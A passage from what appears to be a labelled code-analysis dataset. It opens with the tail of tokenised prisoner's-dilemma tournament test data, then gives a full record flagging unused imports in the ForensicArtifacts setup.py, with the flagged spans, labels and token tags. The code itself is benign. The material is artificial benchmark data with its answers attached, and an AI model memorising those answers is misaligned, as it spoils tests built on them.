"9_", ",_", "0_", ",_", "3_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "normalise", "d\\u", "coop", "eratio", "n_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "mean_", "(_", "[_", "3_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", ",_", "mean_", "(_", "[_", "3_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "mean_", "(_", "[_", "3_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", ",_", "0_", ",_", "mean_", "(_", "[_", "1_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "ven", "gef", "ul", "\\u", "coop", "eratio", "n_", "=_", "[_", "[_", "2_", "*_", "element_", "-_", "1_", "for_", "element_", "in_", "row_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "row_", "in_", "cls_", "._", "expected", "\\u", "normalise", "d\\u", "coop", "eratio", "n_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "coop", "erat", "ing", "\\u", "rating_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "18.", "0_", "/_", "30_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "12.0_", "/_", "30_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "0_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "good", "\\u", "part", "ner", "\\u", "matrix_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "3_", ",_", "3_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "3_", ",_", "0_", ",_", "3_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "good", "\\u", "part", "ner", "\\u", "rating_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "1.0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1.0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "0_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "eigen", "jes", "us", "\\u", "rating_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "0.55", "470", "019", "622", "522", "91_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "0.83", "2050", "294", "337", "843", "6_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "0.0_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "eigen", "mos", "es", "\\u", "rating_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "-_", "0.45", "785", "2030", "211", "710", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "0.73", "113", "280", "988", "724", "32_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "0.50", "578", "289", "091", "012", "13_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "csv_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Defe", "ctor", ",", "Tit", " ", "For", " ", "Ta", "t", ",", "Alter", "nat", "or", "\\\\", "n2", ".6", ",", "1.7", ",", "1.5", "\\\\", "n2", ".6", ",", "1.7", ",", "1.5", "\\\\", "n2", ".6", ",", "1.7", ",", "1.5", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ForensicArtifacts/artifacts/setup.py
[ { "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"Installation and deployment script.\"\"\"\n\nimport glob\nimport os\nimport sys\n\ntry:\n from setuptools import find_packages, setup, Command\nexcept ImportError:\n from distutils.core import find_packages, setup, Command\n\ntry:\n from setuptools.commands.bdist_rpm import bdist_rpm\nexcept ImportError:\n from distutils.command.bdist_rpm import bdist_rpm\n\n# Change PYTHONPATH to include artifacts so that we can get the version.\nsys.path.insert(0, '.')\n\nimport artifacts\n\n\n\n\nartifacts_version = artifacts.__version__\n\n# Command bdist_msi does not support the library version, neither a date\n# as a version but if we suffix it with .1 everything is fine.\nif 'bdist_msi' in sys.argv:\n artifacts_version = '{0}.1'.format(artifacts_version)\n\nartifacts_description = (\n 'ForensicArtifacts.com Artifact Repository.')\n\nartifacts_long_description = (\n 'A free, community-sourced, machine-readable knowledge base of forensic '\n 'artifacts that the world can use both as an information source and '\n 'within other tools.')\n\nsetup(\n name='artifacts',\n version=artifacts_version,\n description=artifacts_description,\n long_description=artifacts_long_description,\n license='Apache License, Version 2.0',\n url='https://github.com/ForensicArtifacts/artifacts',\n maintainer='The ForensicArtifacts.com Artifact Repository project',\n maintainer_email='[email protected]',\n scripts=[\n os.path.join('tools', 'stats.py'),\n os.path.join('tools', 'validator.py'),\n ],\n cmdclass={'bdist_rpm': BdistRPMCommand},\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Environment :: Console',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n ],\n packages=find_packages('.', exclude=[u'tests', u'tests.*', u'tools']),\n package_dir={'artifacts': 'artifacts'},\n data_files=[\n ('share/artifacts', glob.glob(os.path.join('definitions', '*'))),\n ],\n install_requires=[\n 'PyYAML >= 3.11',\n ],\n)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class BdistRPMCommand(bdist_rpm):\n \"\"\"Custom handler for the bdist_rpm command.\"\"\"\n", "metadata": "root.BdistRPMCommand", "header": "['module', '___EOS___']", "index": 24 }, { "content": " def _make_spec_file(self):\n \"\"\"Generates the text of an RPM spec file.\n\n Returns:\n A list of strings containing the lines of text.\n \"\"\"\n # Note that bdist_rpm can be an old style class.\n if issubclass(BdistRPMCommand, object):\n spec_file = super(BdistRPMCommand, self)._make_spec_file()\n else:\n spec_file = bdist_rpm._make_spec_file(self)\n\n if sys.version_info[0] < 3:\n python_package = 'python'\n else:\n python_package = 'python3'\n\n description = []\n summary = ''\n in_description = False\n\n python_spec_file = []\n for index, line in enumerate(spec_file):\n if line.startswith('Summary: '):\n summary = line\n\n elif line.startswith('BuildRequires: '):\n line = 'BuildRequires: {0:s}-setuptools'.format(python_package)\n\n elif line.startswith('Requires: '):\n if python_package == 'python3':\n line = line.replace('python', 'python3')\n\n elif line.startswith('%description'):\n in_description = True\n\n elif line.startswith('%files'):\n line = '%files -f INSTALLED_FILES -n {0:s}-%{{name}}'.format(\n python_package)\n\n elif line.startswith('%prep'):\n in_description = False\n\n python_spec_file.append(\n '%package -n {0:s}-%{{name}}'.format(python_package))\n python_spec_file.append('{0:s}'.format(summary))\n python_spec_file.append('')\n python_spec_file.append(\n '%description -n {0:s}-%{{name}}'.format(python_package))\n python_spec_file.extend(description)\n\n elif in_description:\n # Ignore leading white lines in the description.\n if not description and not line:\n continue\n\n description.append(line)\n\n python_spec_file.append(line)\n\n return python_spec_file", "metadata": "root.BdistRPMCommand._make_spec_file", "header": "['class', 'BdistRPMCommand', '(', 'bdist_rpm', ')', ':', '___EOS___']", "index": 27 } ]
[ { "span": "from setuptools import find_packages, setup, Command", "start_line": 9, "start_column": 2, "end_line": 9, "end_column": 54 }, { "span": "from distutils.core import find_packages, setup, Command", "start_line": 11, "start_column": 2, "end_line": 11, "end_column": 58 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Install", "ation", " ", "and", " ", "deploy", "ment", " ", "script", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "glob_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "setuptools_", "import_", "find", "\\u", "packages_", ",_", "setup_", ",_", "Command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "distutils_", "._", "core_", "import_", "find", "\\u", "packages_", ",_", "setup_", ",_", "Command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "setuptools_", "._", "commands_", "._", "bdist", "\\u", "rpm_", "import_", "bdist", "\\u", "rpm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "distutils_", "._", "command_", "._", "bdist", "\\u", "rpm_", "import_", "bdist", "\\u", "rpm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Change", " ", "PYTHON", "PATH", " ", "to", " ", "include", " ", "artifact", "s", " ", "so", " ", "tha", "t", " ", "we", " ", "can", " ", "get", " ", "the", " ", "version", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sys_", "._", "path_", "._", "insert_", "(_", "0_", ",_", "'.'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "artifacts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "artifact", "s", "\\u", "version_", "=_", "artifacts_", "._", "\\u\\u", "version\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Command", " ", "bdist", "\\u", "msi", " ", "doe", "s", " ", "not", " ", "support", " ", "the", " ", "librar", "y", " ", "version", ",", " ", "nei", "ther", " ", "a", " ", "date_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "as", " ", "a", " ", "version", " ", "but", " ", "if", " ", "we", " ", "suff", "ix", " ", "it", " ", "with", " ", ".1", " ", "every", "thing", " ", "is", " ", "fine", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "bdist", "\\u", "msi", "'_", "in_", "sys_", "._", "argv_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "artifact", "s", "\\u", "version_", "=_", "'{", "0", "}.", "1", "'_", "._", "format_", "(_", "artifact", "s", "\\u", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "artifact", "s", "\\u", "description_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Fore", "nsi", "c", "Artifact", "s", ".", "com", " ", "Artifact", " ", "Repos", "itor", "y", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "artifact", "s", "\\u", "long", "\\u", "description_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "A", " ", "free", ",", " ", "communi", "ty", "-", "sourced", ",", " ", "machine", "-", "reada", "ble", " ", "knowledge", " ", "base", " ", "of", " ", "fore", "nsi", "c", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "artifact", "s", " ", "tha", "t", " ", "the", " ", "world", " ", "can", " ", "use", " ", "bot", "h", " ", "as", " ", "an", " ", "informati", "on", " ", "source", " ", "and", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "within", " ", "other", " ", "tool", "s", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "setup_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "'", "artifact", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "artifact", "s", "\\u", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "artifact", "s", "\\u", "description_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "long", "\\u", "description_", "=_", "artifact", "s", "\\u", "long", "\\u", "description_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "license_", "=_", "'", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "https", "://", "git", "hub", ".", "com", "/", "Fore", "nsi", "c", "Artifact", "s", "/", "artifact", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "maintainer_", "=_", "'", "The", " ", "Fore", "nsi", "c", "Artifact", "s", ".", "com", " ", "Artifact", " ", "Repos", "itor", "y", " ", "project", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "maintainer", "\\u", "email_", "=_", "'", "fore", "nsi", "cart", "ifa", "ct", "s", "@", "google", "group", "s", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "scripts_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "join_", "(_", "'", "tool", "s", "'_", ",_", "'", "stats", ".", "py", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "join_", "(_", "'", "tool", "s", "'_", ",_", "'", "validator", ".", "py", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cmdclass_", "=_", "{_", "'", "bdist", "\\u", "rpm", "'_", ":_", "Bd", "ist", "RPM", "Command_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "classifiers_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Dev", "elo", "pme", "nt", " ", "Status", " ", "::", " ", "3", " ", "-", " ", "Al", "pha", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Environ", "ment", " ", "::", " ", "Cons", "ole", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Opera", "ting", " ", "System", " ", "::", " ", "OS", " ", "Inde", "pend", "ent", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Programm", "ing", " ", "Lang", "ua", "ge", " ", "::", " ", "Pyth", "on", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "packages_", "=_", "find", "\\u", "packages_", "(_", "'.'_", ",_", "exclude_", "=_", "[_", "u", "'", "tests", "'_", ",_", "u", "'", "tests", ".*'_", ",_", "u", "'", "tool", "s", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "package", "\\u", "dir_", "=_", "{_", "'", "artifact", "s", "'_", ":_", "'", "artifact", "s", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data\\u", "files_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "share", "/", "artifact", "s", "'_", ",_", "glob_", "._", "glob_", "(_", "os_", "._", "path_", "._", "join_", "(_", "'", "definit", "ion", "s", "'_", ",_", "'*'_", ")_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "install", "\\u", "requires_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Py", "YAM", "L", " ", ">=", " ", "3.1", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Bd", "ist", "RPM", "Command_", "(_", "bdist", "\\u", "rpm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Custom", " ", "handler", " ", "for", " ", "the", " ", "bdist", "\\u", "rpm", " ", "command", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Bd", "ist", "RPM", "Command_", "(_", "bdist", "\\u", "rpm_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "make", "\\u", "spec", "\\u", "file_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Generate", "s", " ", "the", " ", "text", " ", "of", " ", "an", " ", "RPM", " ", "spec", " ", "file", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", "A", " ", "list", " ", "of", " ", "string", "s", " ", "contain", "ing", " ", "the", " ", "lines", " ", "of", " ", "text", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Not", "e", " ", "tha", "t", " ", "bdist", "\\u", "rpm", " ", "can", " ", "be", " ", "an", " ", "old", " ", "style", " ", "class", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "issubclass_", "(_", "Bd", "ist", "RPM", "Command_", ",_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "spec", "\\u", "file_", "=_", "super_", "(_", "Bd", "ist", "RPM", "Command_", ",_", "self_", ")_", "._", "\\u", "make", "\\u", "spec", "\\u", "file_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "spec", "\\u", "file_", "=_", "bdist", "\\u", "rpm_", "._", "\\u", "make", "\\u", "spec", "\\u", "file_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", "<_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "python", "\\u", "package_", "=_", "'", "python", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "python", "\\u", "package_", "=_", "'", "python", "3", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "description_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "summary_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "in", "\\u", "description_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "python", "\\u", "spec", "\\u", "file_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "index_", ",_", "line_", "in_", "enumerate_", "(_", "spec", "\\u", "file_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "line_", "._", "startswith_", "(_", "'", "Summ", "ary", ":", " ", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "summary_", "=_", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "line_", "._", "startswith_", "(_", "'", "Build", "Requ", "ires", ":", " ", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line_", "=_", "'", "Build", "Requ", "ires", ":", " ", "{", "0", ":", "s", "}-", "setup", "tool", "s", "'_", "._", "format_", "(_", "python", "\\u", "package_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "line_", "._", "startswith_", "(_", "'", "Requ", "ires", ":", " ", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "python", "\\u", "package_", "==_", "'", "python", "3", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line_", "=_", "line_", "._", "replace_", "(_", "'", "python", "'_", ",_", "'", "python", "3", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "line_", "._", "startswith_", "(_", "'%", "description", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "\\u", "description_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "line_", "._", "startswith_", "(_", "'%", "files", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line_", "=_", "'%", "files", " ", "-", "f", " ", "INSTALLE", "D", "\\u", "FILE", "S", " ", "-", "n", " ", "{", "0", ":", "s", "}-", "%", "{{", "name", "}}'_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "python", "\\u", "package_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "line_", "._", "startswith_", "(_", "'%", "prep", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "\\u", "description_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "python", "\\u", "spec", "\\u", "file_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "package", " ", "-", "n", " ", "{", "0", ":", "s", "}-", "%", "{{", "name", "}}'_", "._", "format_", "(_", "python", "\\u", "package_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "python", "\\u", "spec", "\\u", "file_", "._", "append_", "(_", "'{", "0", ":", "s", "}'_", "._", "format_", "(_", "summary_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "python", "\\u", "spec", "\\u", "file_", "._", "append_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "python", "\\u", "spec", "\\u", "file_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "description", " ", "-", "n", " ", "{", "0", ":", "s", "}-", "%", "{{", "name", "}}'_", "._", "format_", "(_", "python", "\\u", "package_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "python", "\\u", "spec", "\\u", "file_", "._", "extend_", "(_", "description_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "in", "\\u", "description_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ignor", "e", " ", "lead", "ing", " ", "white", " ", "lines", " ", "in", " ", "the", " ", "description", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "description_", "and_", "not_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "description_", "._", "append_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "python", "\\u", "spec", "\\u", "file_", "._", "append_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "python", "\\u", "spec", "\\u", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
